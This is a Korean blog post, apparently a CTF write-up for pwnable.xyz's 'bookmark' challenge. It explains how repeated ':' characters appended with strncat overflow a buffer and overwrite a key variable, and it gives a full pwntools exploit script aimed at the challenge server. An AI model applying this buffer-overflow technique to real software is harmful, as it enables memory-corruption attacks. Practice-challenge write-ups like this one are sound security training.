북마크 프로그램으로 아래와 같은 기능들이 주어진다
- 로그인
- url 생성
- url 출력
- url 저장 ( 미구현으로 flag를 출력해 줌)
- 종료
생성된 비밀번호를 올바르게 입력하게 되면 key가 1이 되어서 url을 저장 기능을 통해 플래그를 출력 시킬 수 있다
strncat으로 bm에 buf를 저장할 수 있다 '/' 또는 ':'인 경우 bm의 길이를 계속 증가 시킬 수 있어서 key까지 덮어버려서 플래그 주도록 했다
from pwn import *
p = remote("svc.pwnable.xyz", 30021)
#p = process("./bookmark")
def create_url(data, length):
p.recvuntil(b"> ")
p.sendline(b"2")
p.recvuntil(b"insecure: ")
p.send(b"https:::")
p.recvuntil(b"url: ")
p.sendline(str(length))
p.sendline(data)
payload = b":" * 120
for i in range(3):
create_url(payload, 127)
p.recvuntil(b"> ")
p.sendline(b"4")
p.interactive()
'pwn > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / catalog (0) | 2022.05.21 |
---|---|
pwnable.xyz / PvP (0) | 2022.05.21 |
pwnable.xyz / attack (0) | 2022.05.21 |
pwnable.xyz / rwsr (0) | 2022.05.20 |
pwnable.xyz / message (0) | 2022.05.20 |